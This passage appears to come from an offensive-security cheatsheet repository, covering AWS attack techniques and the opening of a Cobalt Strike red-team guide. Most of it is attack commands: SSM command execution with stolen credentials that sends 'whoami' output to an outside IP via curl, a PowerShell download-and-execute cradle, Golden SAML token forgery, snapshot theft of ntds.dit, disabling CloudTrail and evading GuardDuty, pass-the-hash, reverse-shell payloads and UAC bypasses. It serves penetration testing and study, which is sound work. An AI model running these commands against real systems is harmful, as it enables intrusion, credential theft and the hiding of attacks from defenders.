||||
|
||||
1. Head over to EC2 –> Volumes and create a new volume of your preferred size and type.
|
||||
2. Select the created volume, right click and select the "attach volume" option.
|
||||
3. Select the instance from the instance text box as shown below : `attach ebs volume`
|
||||
```powershell
|
||||
aws ec2 create-volume –snapshot-id snapshot_id --availability-zone zone
|
||||
aws ec2 attach-volume –-volume-id volume_id –-instance-id instance_id --device device
|
||||
```
|
||||
4. Now, login to your ec2 instance and list the available disks using the following command : `lsblk`
|
||||
5. Check if the volume has any data using the following command : `sudo file -s /dev/xvdf`
|
||||
6. Format the volume to ext4 filesystem using the following command : `sudo mkfs -t ext4 /dev/xvdf`
|
||||
7. Create a directory of your choice to mount our new ext4 volume. I am using the name “newvolume” : `sudo mkdir /newvolume`
|
||||
8. Mount the volume to "newvolume" directory using the following command : `sudo mount /dev/xvdf /newvolume/`
|
||||
9. cd into newvolume directory and check the disk space for confirming the volume mount : `cd /newvolume; df -h .`
|
||||
|
||||
|
||||
## AWS - Copy EC2 using AMI Image
|
||||
|
||||
First you need to extract data about the current instances and their AMI/security groups/subnet : `aws ec2 describe-images --region eu-west-1`
|
||||
|
||||
```powershell
|
||||
# create a new image for the instance-id
|
||||
$ aws ec2 create-image --instance-id i-0438b003d81cd7ec5 --name "AWS Audit" --description "Export AMI" --region eu-west-1
|
||||
|
||||
# add key to AWS
|
||||
$ aws ec2 import-key-pair --key-name "AWS Audit" --public-key-material file://~/.ssh/id_rsa.pub --region eu-west-1
|
||||
|
||||
# create ec2 using the previously created AMI, use the same security group and subnet to connect easily.
|
||||
$ aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids "sg-6d0d7f01" --subnet-id subnet-9eb001ea --count 1 --instance-type t2.micro --key-name "AWS Audit" --query "Instances[0].InstanceId" --region eu-west-1
|
||||
|
||||
# now you can check the instance
|
||||
aws ec2 describe-instances --instance-ids i-0546910a0c18725a1
|
||||
|
||||
# If needed : edit groups
|
||||
aws ec2 modify-instance-attribute --instance-id "i-0546910a0c18725a1" --groups "sg-6d0d7f01" --region eu-west-1
|
||||
|
||||
# be a good guy, clean our instance to avoid any useless cost
|
||||
aws ec2 stop-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
|
||||
aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
|
||||
```
|
||||
|
||||
## AWS - Instance Connect - Push an SSH key to EC2 instance
|
||||
|
||||
```powershell
|
||||
# https://aws.amazon.com/fr/blogs/compute/new-using-amazon-ec2-instance-connect-for-ssh-access-to-your-ec2-instances/
|
||||
$ aws ec2 describe-instances --profile uploadcreds --region eu-west-1 | jq ".[][].Instances | .[] | {InstanceId, KeyName, State}"
|
||||
$ aws ec2-instance-connect send-ssh-public-key --region us-east-1 --instance-id INSTANCE --availability-zone us-east-1d --instance-os-user ubuntu --ssh-public-key file://shortkey.pub --profile uploadcreds
|
||||
```
|
||||
|
||||
## AWS - Lambda - Extract function's code
|
||||
|
||||
```powershell
|
||||
# https://blog.appsecco.com/getting-shell-and-data-access-in-aws-by-chaining-vulnerabilities-7630fa57c7ed
|
||||
$ aws lambda list-functions --profile uploadcreds
|
||||
$ aws lambda get-function --function-name "LAMBDA-NAME-HERE-FROM-PREVIOUS-QUERY" --query 'Code.Location' --profile uploadcreds
|
||||
$ wget -O lambda-function.zip url-from-previous-query --profile uploadcreds
|
||||
```
|
||||
|
||||
## AWS - SSM - Command execution
|
||||
|
||||
:warning: The ssm-user account is not removed from the system when SSM Agent is uninstalled.
|
||||
|
||||
SSM Agent is preinstalled, by default, on the following Amazon Machine Images (AMIs):
|
||||
* Windows Server 2008-2012 R2 AMIs published in November 2016 or later
|
||||
* Windows Server 2016 and 2019
|
||||
* Amazon Linux
|
||||
* Amazon Linux 2
|
||||
* Ubuntu Server 16.04
|
||||
* Ubuntu Server 18.04
|
||||
* Amazon ECS-Optimized
|
||||
|
||||
```powershell
|
||||
$ aws ssm describe-instance-information --profile stolencreds --region eu-west-1
|
||||
$ aws ssm send-command --instance-ids "INSTANCE-ID-HERE" --document-name "AWS-RunShellScript" --comment "IP Config" --parameters commands=ifconfig --output text --query "Command.CommandId" --profile stolencreds
|
||||
$ aws ssm list-command-invocations --command-id "COMMAND-ID-HERE" --details --query "CommandInvocations[].CommandPlugins[].{Status:Status,Output:Output}" --profile stolencreds
|
||||
|
||||
e.g:
|
||||
$ aws ssm send-command --instance-ids "i-05b████████adaa" --document-name "AWS-RunShellScript" --comment "whoami" --parameters commands='curl 162.243.███.███:8080/`whoami`' --output text --region=us-east-1
|
||||
```
|
||||
|
||||
## AWS - Golden SAML Attack
|
||||
|
||||
https://www.youtube.com/watch?v=5dj4vOqqGZw
|
||||
https://www.cyberark.com/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-cloud-apps/
|
||||
|
||||
> Using the extracted information, the tool will generate a forged SAML token as an arbitrary user that can then be used to authenticate to Office 365 without knowledge of that user's password. This attack also bypasses any MFA requirements.
|
||||
|
||||
Requirement:
|
||||
* Token-signing private key (export from personal store using Mimikatz)
|
||||
* IdP public certificate
|
||||
* IdP name
|
||||
* Role name (role to assume)
|
||||
|
||||
```powershell
|
||||
$ python -m pip install boto3 botocore defusedxml enum python_dateutil lxml signxml
|
||||
$ python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file
|
||||
-u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012
|
||||
```
|
||||
|
||||
## AWS - Shadow Copy attack
|
||||
|
||||
Prerequisite:
|
||||
* EC2:CreateSnapshot
|
||||
* CloudCopy - https://github.com/Static-Flow/CloudCopy
|
||||
|
||||
1. Load AWS CLI with Victim Credentials that have at least CreateSnapshot permissions
|
||||
2. Run `"Describe-Instances"` and show in list for attacker to select
|
||||
3. Run `"Create-Snapshot"` on volume of selected instance
|
||||
4. Run `"modify-snapshot-attribute"` on new snapshot to set `"createVolumePermission"` to attacker AWS Account
|
||||
5. Load AWS CLI with Attacker Credentials
|
||||
6. Run `"run-instance"` command to create new linux ec2 with our stolen snapshot
|
||||
7. Ssh run `"sudo mkdir /windows"`
|
||||
8. Ssh run `"sudo mount /dev/xvdf1 /windows/"`
|
||||
9. Ssh run `"sudo cp /windows/Windows/NTDS/ntds.dit /home/ec2-user"`
|
||||
10. Ssh run `"sudo cp /windows/Windows/System32/config/SYSTEM /home/ec2-user"`
|
||||
11. Ssh run `"sudo chown ec2-user:ec2-user /home/ec2-user/*"`
|
||||
12. SFTP get `"/home/ec2-user/SYSTEM ./SYSTEM"`
|
||||
13. SFTP get `"/home/ec2-user/ntds.dit ./ntds.dit"`
|
||||
14. locally run `"secretsdump.py -system ./SYSTEM -ntds ./ntds.dit local -outputfile secrets'`, expects secretsdump to be on path
|
||||
|
||||
## Disable CloudTrail
|
||||
|
||||
```powershell
|
||||
$ aws cloudtrail delete-trail --name cloudgoat_trail --profile administrator
|
||||
```
|
||||
|
||||
Disable monitoring of events from global services
|
||||
|
||||
```powershell
|
||||
$ aws cloudtrail update-trail --name cloudgoat_trail --no-include-global-service-event
|
||||
```
|
||||
|
||||
Disable Cloud Trail on specific regions
|
||||
|
||||
```powershell
|
||||
$ aws cloudtrail update-trail --name cloudgoat_trail --no-include-global-service-event --no-is-multi-region --region=eu-west
|
||||
```
|
||||
|
||||
## Cover tracks by obfuscating Cloudtrail logs and Guard Duty
|
||||
|
||||
:warning: When using awscli on Kali Linux, Pentoo and Parrot Linux, a log is generated based on the user-agent.
|
||||
|
||||
Pacu bypass this problem by defining a custom User-Agent (https://github.com/RhinoSecurityLabs/pacu/blob/master/pacu.py#L1473)
|
||||
|
||||
```python
|
||||
boto3_session = boto3.session.Session()
|
||||
ua = boto3_session._session.user_agent()
|
||||
if 'kali' in ua.lower() or 'parrot' in ua.lower() or 'pentoo' in ua.lower(): # If the local OS is Kali/Parrot/Pentoo Linux
|
||||
# GuardDuty triggers a finding around API calls made from Kali Linux, so let's avoid that...
|
||||
self.print('Detected environment as one of Kali/Parrot/Pentoo Linux. Modifying user agent to hide that from GuardDuty...')
|
||||
```
|
||||
|
||||
## DynamoDB
|
||||
> Amazon DynamoDB is a key-value and document database that delivers single-digit millisecond performance at any scale. It's a fully managed, multi-region, multi-active, durable database with built-in security, backup and restore, and in-memory caching for internet-scale applications. DynamoDB can handle more than 10 trillion requests per day and can support peaks of more than 20 million requests per second.
|
||||
|
||||
* list tables
|
||||
```bash
|
||||
$ aws --endpoint-url http://s3.bucket.htb dynamodb list-tables
|
||||
|
||||
{
|
||||
"TableNames": [
|
||||
"users"
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
* enumerate table content
|
||||
```bash
|
||||
$ aws --endpoint-url http://s3.bucket.htb dynamodb scan --table-name users | jq -r '.Items[]'
|
||||
|
||||
{
|
||||
"password": {
|
||||
"S": "Management@#1@#"
|
||||
},
|
||||
"username": {
|
||||
"S": "Mgmt"
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
## Security checks
|
||||
|
||||
https://github.com/DenizParlak/Zeus
|
||||
|
||||
* Identity and Access Management
|
||||
* Avoid the use of the "root" account
|
||||
* Ensure multi-factor authentication (MFA) is enabled for all IAM users that have a console password
|
||||
* Ensure credentials unused for 90 days or greater are disabled
|
||||
* Ensure access keys are rotated every 90 days or less
|
||||
* Ensure IAM password policy requires at least one uppercase letter
|
||||
* Ensure IAM password policy requires at least one lowercase letter
|
||||
* Ensure IAM password policy requires at least one symbol
|
||||
* Ensure IAM password policy requires at least one number
|
||||
* Ensure IAM password policy requires minimum length of 14 or greater
|
||||
* Ensure no root account access key exists
|
||||
* Ensure MFA is enabled for the "root" account
|
||||
* Ensure security questions are registered in the AWS account
|
||||
* Ensure IAM policies are attached only to groups or role
|
||||
* Enable detailed billing
|
||||
* Maintain current contact details
|
||||
* Ensure security contact information is registered
|
||||
* Ensure IAM instance roles are used for AWS resource access from instances
|
||||
* Logging
|
||||
* Ensure CloudTrail is enabled in all regions
|
||||
* Ensure CloudTrail log file validation is enabled
|
||||
* Ensure the S3 bucket CloudTrail logs to is not publicly accessible
|
||||
* Ensure CloudTrail trails are integrated with CloudWatch Logs
|
||||
* Ensure AWS Config is enabled in all regions
|
||||
* Ensure S3 bucket access logging is enabled on the CloudTrail S3 bucket
|
||||
* Ensure CloudTrail logs are encrypted at rest using KMS CMKs
|
||||
* Ensure rotation for customer created CMKs is enabled
|
||||
* Networking
|
||||
* Ensure no security groups allow ingress from 0.0.0.0/0 to port 22
|
||||
* Ensure no security groups allow ingress from 0.0.0.0/0 to port 3389
|
||||
* Ensure VPC flow logging is enabled in all VPC
|
||||
* Ensure the default security group of every VPC restricts all traffic
|
||||
* Monitoring
|
||||
* Ensure a log metric filter and alarm exist for unauthorized API calls
|
||||
* Ensure a log metric filter and alarm exist for Management Consolesign-in without MFA
|
||||
* Ensure a log metric filter and alarm exist for usage of "root" account
|
||||
* Ensure a log metric filter and alarm exist for IAM policy changes
|
||||
* Ensure a log metric filter and alarm exist for CloudTrail configuration changes
|
||||
* Ensure a log metric filter and alarm exist for AWS Management Console authentication failures
|
||||
* Ensure a log metric filter and alarm exist for disabling or scheduled deletion of customer created CMKs
|
||||
* Ensure a log metric filter and alarm exist for S3 bucket policy changes
|
||||
* Ensure a log metric filter and alarm exist for AWS Config configuration changes
|
||||
* Ensure a log metric filter and alarm exist for security group changes
|
||||
* Ensure a log metric filter and alarm exist for changes to NetworkAccess Control Lists (NACL)
|
||||
* Ensure a log metric filter and alarm exist for changes to network gateways
|
||||
* Ensure a log metric filter and alarm exist for route table changes
|
||||
* Ensure a log metric filter and alarm exist for VPC changes
|
||||
|
||||
## References
|
||||
|
||||
* [An introduction to penetration testing AWS - Graceful Security](https://www.gracefulsecurity.com/an-introduction-to-penetration-testing-aws/)
|
||||
* [Cloud Shadow Admin Threat 10 Permissions Protect - CyberArk](https://www.cyberark.com/threat-research-blog/cloud-shadow-admin-threat-10-permissions-protect/)
|
||||
* [My arsenal of AWS Security tools - toniblyx](https://github.com/toniblyx/my-arsenal-of-aws-security-tools)
|
||||
* [AWS Privilege Escalation method mitigation - RhinoSecurityLabs](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
|
||||
* [AWS CLI Cheatsheet - apolloclark](https://gist.github.com/apolloclark/b3f60c1f68aa972d324b)
|
||||
* [Pacu Open source AWS Exploitation framework - RhinoSecurityLabs](https://rhinosecuritylabs.com/aws/pacu-open-source-aws-exploitation-framework/)
|
||||
* [PACU Spencer Gietzen - 30 juil. 2018](https://www.youtube.com/watch?v=XfetW1Vqybw&feature=youtu.be&list=PLBID4NiuWSmfdWCmYGDQtlPABFHN7HyD5)
|
||||
* [Cloud security instance metadata - PumaScan](https://pumascan.com/resources/cloud-security-instance-metadata/)
|
||||
* [Privilege escalation in the Cloud: From SSRF to Global Account Administrator - Maxime Leblanc - Sep 1, 2018](https://medium.com/poka-techblog/privilege-escalation-in-the-cloud-from-ssrf-to-global-account-administrator-fd943cf5a2f6)
|
||||
* [AWS - Cheatsheet - @Magnussen](https://www.magnussen.funcmylife.fr/article_35)
|
||||
* [amazon-guardduty-user-guide PenTest Finding Types - @awsdocs](https://github.com/awsdocs/amazon-guardduty-user-guide/blob/master/doc_source/guardduty_pentest.md)
|
||||
* [HOW I HACKED A WHOLE EC2 NETWORK DURING A PENETRATION TEST - by Federico Fernandez](https://www.secsignal.org/en/news/how-i-hacked-a-whole-ec2-network-during-a-penetration-test/)
|
||||
* [How to Attach and Mount an EBS volume to EC2 Linux Instance - AUGUST 17, 2016](https://devopscube.com/mount-ebs-volume-ec2-instance/)
|
||||
* [Getting shell and data access in AWS by chaining vulnerabilities - Riyaz Walikar - Aug 29, 2019 ](https://blog.appsecco.com/getting-shell-and-data-access-in-aws-by-chaining-vulnerabilities-7630fa57c7ed)
|
||||
* [Getting started with Version 2 of AWS EC2 Instance Metadata service (IMDSv2) - Sunesh Govindaraj - Nov 25, 2019](https://blog.appsecco.com/getting-started-with-version-2-of-aws-ec2-instance-metadata-service-imdsv2-2ad03a1f3650)
|
||||
* [Gaining AWS Console Access via API Keys - Ian Williams - March 18th, 2020](https://blog.netspi.com/gaining-aws-console-access-via-api-keys/)
|
||||
* [AWS API calls that return credentials - kmcquade](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a)
|
||||
1130
Methodology and Resources/Cloud - Azure Pentest.md
Normal file
486
Methodology and Resources/Cobalt Strike - Cheatsheet.md
Normal file
@@ -0,0 +1,486 @@
|
||||
# Cobalt Strike
|
||||
|
||||
> Cobalt Strike is threat emulation software. Red teams and penetration testers use Cobalt Strike to demonstrate the risk of a breach and evaluate mature security programs. Cobalt Strike exploits network vulnerabilities, launches spear phishing campaigns, hosts web drive-by attacks, and generates malware infected files from a powerful graphical user interface that encourages collaboration and reports all activity.
|
||||
|
||||
|
||||
```powershell
|
||||
$ sudo apt-get update
|
||||
$ sudo apt-get install openjdk-11-jdk
|
||||
$ sudo apt install proxychains socat
|
||||
$ sudo update-java-alternatives -s java-1.11.0-openjdk-amd64
|
||||
$ sudo ./teamserver 10.10.10.10 "password" [malleable C2 profile]
|
||||
$ ./cobaltstrike
|
||||
$ powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://campaigns.example.com/download/dnsback'))"
|
||||
```
|
||||
|
||||
## Summary
|
||||
|
||||
* [Infrastructure](#infrastructure)
|
||||
* [Redirectors](#redirectors)
|
||||
* [Domain fronting](#domain-fronting)
|
||||
* [OpSec](#opsec)
|
||||
* [Customer ID](#customer-id)
|
||||
* [Payloads](#payloads)
|
||||
* [DNS Beacon](#dns-beacon)
|
||||
* [SMB Beacon](#smb-beacon)
|
||||
* [Metasploit compatibility](#metasploit-compatibility)
|
||||
* [Custom Payloads](#custom-payloads)
|
||||
* [Malleable C2](#malleable-c2)
|
||||
* [Files](#files)
|
||||
* [Powershell and .NET](#powershell-and-net)
|
||||
* [Powershell commabds](#powershell-commands)
|
||||
* [.NET remote execution](#net-remote-execution)
|
||||
* [Lateral Movement](#lateral-movement)
|
||||
* [VPN & Pivots](#vpn--pivots)
|
||||
* [Kits](#kits)
|
||||
* [Elevate Kit](#elevate-kit)
|
||||
* [Persistence Kit](#persistence-kit)
|
||||
* [Resource Kit](#resource-kit)
|
||||
* [Artifact Kit](#artifact-kit)
|
||||
* [Mimikatz Kit](#mimikatz-kit)
|
||||
* [Sleep Mask Kit](#sleep-mask-kit)
|
||||
* [Thread Stack Spoofer](#thread-stack-spoofer)
|
||||
* [Beacon Object Files](#beacon-object-files)
|
||||
* [NTLM Relaying via Cobalt Strike](#ntlm-relaying-via-cobalt-strike)
|
||||
* [References](#references)
|
||||
|
||||
|
||||
## Infrastructure
|
||||
|
||||
### Redirectors
|
||||
|
||||
```powershell
|
||||
sudo apt install socat
|
||||
socat TCP4-LISTEN:80,fork TCP4:[TEAM SERVER]:80
|
||||
```
|
||||
|
||||
### Domain Fronting
|
||||
|
||||
* New Listener > HTTP Host Header
|
||||
* Choose a domain in "Finance & Healthcare" sector
|
||||
|
||||
## OpSec
|
||||
|
||||
**Don't**
|
||||
* Use default self-signed HTTPS certificate
|
||||
* Use default port (50050)
|
||||
* Use 0.0.0.0 DNS response
|
||||
* Metasploit compatibility, ask for a payload : `wget -U "Internet Explorer" http://127.0.0.1/vl6D`
|
||||
|
||||
**Do**
|
||||
* Use a redirector (Apache, CDN, ...)
|
||||
* Firewall to only accept HTTP/S from the redirectors
|
||||
* Firewall 50050 and access via SSH tunnel
|
||||
* Edit default HTTP 404 page and Content type: text/plain
|
||||
* No staging `set hosts_stage` to `false` in Malleable C2
|
||||
* Use Malleable Profile to taylor your attack to specific actors
|
||||
|
||||
### Customer ID
|
||||
|
||||
> The Customer ID is a 4-byte number associated with a Cobalt Strike license key. Cobalt Strike 3.9 and later embed this information into the payload stagers and stages generated by Cobalt Strike.
|
||||
|
||||
* The Customer ID value is the last 4-bytes of a Cobalt Strike payload stager in Cobalt Strike 3.9 and later.
|
||||
* The trial has a Customer ID value of 0.
|
||||
* Cobalt Strike does not use the Customer ID value in its network traffic or other parts of the tool
|
||||
|
||||
## Payloads
|
||||
|
||||
### DNS Beacon
|
||||
|
||||
* Edit the Zone File for the domain
|
||||
* Create an A record for Cobalt Strike system
|
||||
* Create an NS record that points to FQDN of your Cobalt Strike system
|
||||
|
||||
Your Cobalt Strike team server system must be authoritative for the domains you specify. Create a DNS A record and point it to your Cobalt Strike team server. Use DNS NS records to delegate several domains or sub-domains to your Cobalt Strike team server's A record.
|
||||
|
||||
* nslookup jibberish.beacon polling.campaigns.domain.com
|
||||
* nslookup jibberish.beacon campaigns.domain.com
|
||||
|
||||
Example of DNS on Digital Ocean:
|
||||
|
||||
```powershell
|
||||
NS example.com directs to 10.10.10.10. 86400
|
||||
NS polling.campaigns.example.com directs to campaigns.example.com. 3600
|
||||
A campaigns.example.com directs to 10.10.10.10 3600
|
||||
```
|
||||
|
||||
```powershell
|
||||
systemctl disable systemd-resolved
|
||||
systemctl stop systemd-resolved
|
||||
rm /etc/resolv.conf
|
||||
echo "nameserver 8.8.8.8" > /etc/resolv.conf
|
||||
echo "nameserver 8.8.4.4" >> /etc/resolv.conf
|
||||
```
|
||||
|
||||
Configuration:
|
||||
1. **host**: campaigns.domain.com
|
||||
2. **beacon**: polling.campaigns.domain.com
|
||||
3. Interact with a beacon, and `sleep 0`
|
||||
|
||||
|
||||
### SMB Beacon
|
||||
|
||||
```powershell
|
||||
link [host] [pipename]
|
||||
connect [host] [port]
|
||||
unlink [host] [PID]
|
||||
jump [exec] [host] [pipe]
|
||||
```
|
||||
|
||||
SMB Beacon uses Named Pipes. You might encounter these error code while running it.
|
||||
|
||||
| Error Code | Meaning | Description |
|
||||
|------------|----------------------|----------------------------------------------------|
|
||||
| 2 | File Not Found | There is no beacon for you to link to |
|
||||
| 5 | Access is denied | Invalid credentials or you don't have permission |
|
||||
| 53 | Bad Netpath | You have no trust relationship with the target system. It may or may not be a beacon there. |
|
||||
|
||||
|
||||
### SSH Beacon
|
||||
|
||||
```powershell
|
||||
# deploy a beacon
|
||||
beacon> help ssh
|
||||
Use: ssh [target:port] [user] [pass]
|
||||
Spawn an SSH client and attempt to login to the specified target
|
||||
|
||||
beacon> help ssh-key
|
||||
Use: ssh [target:port] [user] [/path/to/key.pem]
|
||||
Spawn an SSH client and attempt to login to the specified target
|
||||
|
||||
# beacon's commands
|
||||
upload Upload a file
|
||||
download Download a file
|
||||
socks Start SOCKS4a server to relay traffic
|
||||
sudo Run a command via sudo
|
||||
rportfwd Setup a reverse port forward
|
||||
shell Execute a command via the shell
|
||||
```
|
||||
|
||||
### Metasploit compatibility
|
||||
|
||||
* Payload: windows/meterpreter/reverse_http or windows/meterpreter/reverse_https
|
||||
* Set LHOST and LPORT to the beacon
|
||||
* Set DisablePayloadHandler to True
|
||||
* Set PrependMigrate to True
|
||||
* exploit -j
|
||||
|
||||
### Custom Payloads
|
||||
|
||||
https://ired.team/offensive-security/code-execution/using-msbuild-to-execute-shellcode-in-c
|
||||
|
||||
```powershell
|
||||
* Attacks > Packages > Payload Generator
|
||||
* Attacks > Packages > Scripted Web Delivery (S)
|
||||
$ python2 ./shellcode_encoder.py -cpp -cs -py payload.bin MySecretPassword xor
|
||||
$ C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Temp\dns_raw_stageless_x64.xml
|
||||
$ %windir%\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe \\10.10.10.10\Shared\dns_raw_stageless_x86.xml
|
||||
```
|
||||
|
||||
## Malleable C2
|
||||
|
||||
List of Malleable Profiles hosted on Github
|
||||
* Cobalt Strike - Malleable C2 Profiles https://github.com/xx0hcd/Malleable-C2-Profiles
|
||||
* Cobalt Strike Malleable C2 Design and Reference Guide https://github.com/threatexpress/malleable-c2
|
||||
* Malleable-C2-Profiles https://github.com/rsmudge/Malleable-C2-Profiles
|
||||
* SourcePoint is a C2 profile generator https://github.com/Tylous/SourcePoint
|
||||
|
||||
Example of syntax
|
||||
|
||||
```powershell
|
||||
set useragent "SOME AGENT"; # GOOD
|
||||
set useragent 'SOME AGENT'; # BAD
|
||||
prepend "This is an example;";
|
||||
|
||||
# Escape Double quotes
|
||||
append "here is \"some\" stuff";
|
||||
# Escape Backslashes
|
||||
append "more \\ stuff";
|
||||
# Some special characters do not need escaping
|
||||
prepend "!@#$%^&*()";
|
||||
```
|
||||
|
||||
Check a profile with `./c2lint`.
|
||||
* A result of 0 is returned if c2lint completes with no errors
|
||||
* A result of 1 is returned if c2lint completes with only warnings
|
||||
* A result of 2 is returned if c2lint completes with only errors
|
||||
* A result of 3 is returned if c2lint completes with both errors and warning
|
||||
|
||||
## Files
|
||||
|
||||
```powershell
|
||||
# List the file on the specified directory
|
||||
beacon > ls <C:\Path>
|
||||
|
||||
# Change into the specified working directory
|
||||
beacon > cd [directory]
|
||||
|
||||
# Delete a file\folder
|
||||
beacon > rm [file\folder]
|
||||
|
||||
# File copy
|
||||
beacon > cp [src] [dest]
|
||||
|
||||
# Download a file from the path on the Beacon host
|
||||
beacon > download [C:\filePath]
|
||||
|
||||
# Lists downloads in progress
|
||||
beacon > downloads
|
||||
|
||||
# Cancel a download currently in progress
|
||||
beacon > cancel [*file*]
|
||||
|
||||
# Upload a file from the attacker to the current Beacon host
|
||||
beacon > upload [/path/to/file]
|
||||
```
|
||||
|
||||
## Powershell and .NET
|
||||
|
||||
### Powershell commands
|
||||
|
||||
```powershell
|
||||
# Import a Powershell .ps1 script from the control server and save it in memory in Beacon
|
||||
beacon > powershell-import [/path/to/script.ps1]
|
||||
|
||||
# Setup a local TCP server bound to localhost and download the script imported from above using powershell.exe. Then the specified function and any arguments are executed and output is returned.
|
||||
beacon > powershell [commandlet][arguments]
|
||||
|
||||
# Launch the given function using Unmanaged Powershell, which does not start powershell.exe. The program used is set by spawnto
|
||||
beacon > powerpick [commandlet] [argument]
|
||||
|
||||
# Inject Unmanaged Powershell into a specific process and execute the specified command. This is useful for long-running Powershell jobs
|
||||
beacon > psinject [pid][arch] [commandlet] [arguments]
|
||||
```
|
||||
|
||||
### .NET remote execution
|
||||
|
||||
Run a local .NET executable as a Beacon post-exploitation job.
|
||||
|
||||
Require:
|
||||
* Binaries compiled with the "Any CPU" configuration.
|
||||
|
||||
```powershell
|
||||
beacon > execute-assembly [/path/to/script.exe] [arguments]
|
||||
beacon > execute-assembly /home/audit/Rubeus.exe
|
||||
[*] Tasked beacon to run .NET program: Rubeus.exe
|
||||
[+] host called home, sent: 318507 bytes
|
||||
[+] received output:
|
||||
|
||||
______ _
|
||||
(_____ \ | |
|
||||
_____) )_ _| |__ _____ _ _ ___
|
||||
| __ /| | | | _ \| ___ | | | |/___)
|
||||
| | \ \| |_| | |_) ) ____| |_| |___ |
|
||||
|_| |_|____/|____/|_____)____/(___/
|
||||
|
||||
v1.4.2
|
||||
```
|
||||
|
||||
## Lateral Movement
|
||||
|
||||
:warning: OPSEC Advice: Use the **spawnto** command to change the process Beacon will launch for its post-exploitation jobs. The default is rundll32.exe
|
||||
|
||||
- **portscan:** Performs a portscan on a spesific target.
|
||||
- **runas:** A wrapper of runas.exe, using credentials you can run a command as another user.
|
||||
- **pth:** By providing a username and a NTLM hash you can perform a Pass The Hash attack and inject a TGT on the current process. \
|
||||
:exclamation: This module needs Administrator privileges.
|
||||
- **steal_token:** Steal a token from a specified process.
|
||||
- **make_token:** By providing credentials you can create an impersonation token into the current process and execute commands from the context of the impersonated user.
|
||||
- **jump:** Provides easy and quick way to move lateraly using winrm or psexec to spawn a new beacon session on a target. \
|
||||
:exclamation: The **jump** module will use the current delegation/impersonation token to authenticate on the remote target. \
|
||||
:muscle: We can combine the **jump** module with the **make_token** or **pth** module for a quick "jump" to another target on the network.
|
||||
- **remote-exec:** Execute a command on a remote target using psexec, winrm or wmi. \
|
||||
:exclamation: The **remote-exec** module will use the current delegation/impersonation token to authenticate on the remote target.
|
||||
- **ssh/ssh-key:** Authenticate using ssh with password or private key. Works for both linux and windows hosts.
|
||||
|
||||
:warning: All the commands launch powershell.exe
|
||||
|
||||
```powershell
|
||||
Beacon Remote Exploits
|
||||
======================
|
||||
jump [module] [target] [listener]
|
||||
|
||||
psexec x86 Use a service to run a Service EXE artifact
|
||||
psexec64 x64 Use a service to run a Service EXE artifact
|
||||
psexec_psh x86 Use a service to run a PowerShell one-liner
|
||||
winrm x86 Run a PowerShell script via WinRM
|
||||
winrm64 x64 Run a PowerShell script via WinRM
|
||||
|
||||
Beacon Remote Execute Methods
|
||||
=============================
|
||||
remote-exec [module] [target] [command]
|
||||
|
||||
Methods Description
|
||||
------- -----------
|
||||
psexec Remote execute via Service Control Manager
|
||||
winrm Remote execute via WinRM (PowerShell)
|
||||
wmi Remote execute via WMI (PowerShell)
|
||||
|
||||
```
|
||||
|
||||
Opsec safe Pass-the-Hash:
|
||||
1. `mimikatz sekurlsa::pth /user:xxx /domain:xxx /ntlm:xxxx /run:"powershell -w hidden"`
|
||||
2. `steal_token PID`
|
||||
|
||||
### Assume Control of Artifact
|
||||
|
||||
* Use `link` to connect to SMB Beacon
|
||||
* Use `connect` to connect to TCP Beacon
|
||||
|
||||
|
||||
## VPN & Pivots
|
||||
|
||||
:warning: Covert VPN doesn't work with W10, and requires Administrator access to deploy.
|
||||
|
||||
> Use socks 8080 to setup a SOCKS4a proxy server on port 8080 (or any other port you choose). This will setup a SOCKS proxy server to tunnel traffic through Beacon. Beacon's sleep time adds latency to any traffic you tunnel through it. Use sleep 0 to make Beacon check-in several times a second.
|
||||
|
||||
```powershell
|
||||
# Start a SOCKS server on the given port on your teamserver, tunneling traffic through the specified Beacon. Set the teamserver/port configuration in /etc/proxychains.conf for easy usage.
|
||||
beacon > socks [PORT]
|
||||
|
||||
# Proxy browser traffic through a specified Internet Explorer process.
|
||||
beacon > browserpivot [pid] [x86|x64]
|
||||
|
||||
# Bind to the specified port on the Beacon host, and forward any incoming connections to the forwarded host and port.
|
||||
beacon > rportfwd [bind port] [forward host] [forward port]
|
||||
|
||||
# spunnel : Spawn an agent and create a reverse port forward tunnel to its controller. ~= rportfwd + shspawn.
|
||||
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f raw -o /tmp/msf.bin
|
||||
beacon> spunnel x64 184.105.181.155 4444 C:\Payloads\msf.bin
|
||||
|
||||
# spunnel_local: Spawn an agent and create a reverse port forward, tunnelled through your Cobalt Strike client, to its controller
|
||||
# then you can handle the connect back on your MSF multi handler
|
||||
beacon> spunnel_local x64 127.0.0.1 4444 C:\Payloads\msf.bin
|
||||
```
|
||||
|
||||
## Kits
|
||||
|
||||
* [Cobalt Strike Community Kit](https://cobalt-strike.github.io/community_kit/) - Community Kit is a central repository of extensions written by the user community to extend the capabilities of Cobalt Strike
|
||||
|
||||
### Elevate Kit
|
||||
|
||||
UAC Token Duplication : Fixed in Windows 10 Red Stone 5 (October 2018)
|
||||
|
||||
```powershell
|
||||
beacon> runasadmin
|
||||
|
||||
Beacon Command Elevators
|
||||
========================
|
||||
|
||||
Exploit Description
|
||||
------- -----------
|
||||
ms14-058 TrackPopupMenu Win32k NULL Pointer Dereference (CVE-2014-4113)
|
||||
ms15-051 Windows ClientCopyImage Win32k Exploit (CVE 2015-1701)
|
||||
ms16-016 mrxdav.sys WebDav Local Privilege Escalation (CVE 2016-0051)
|
||||
svc-exe Get SYSTEM via an executable run as a service
|
||||
uac-schtasks Bypass UAC with schtasks.exe (via SilentCleanup)
|
||||
uac-token-duplication Bypass UAC with Token Duplication
|
||||
```
|
||||
|
||||
### Persistence Kit
|
||||
|
||||
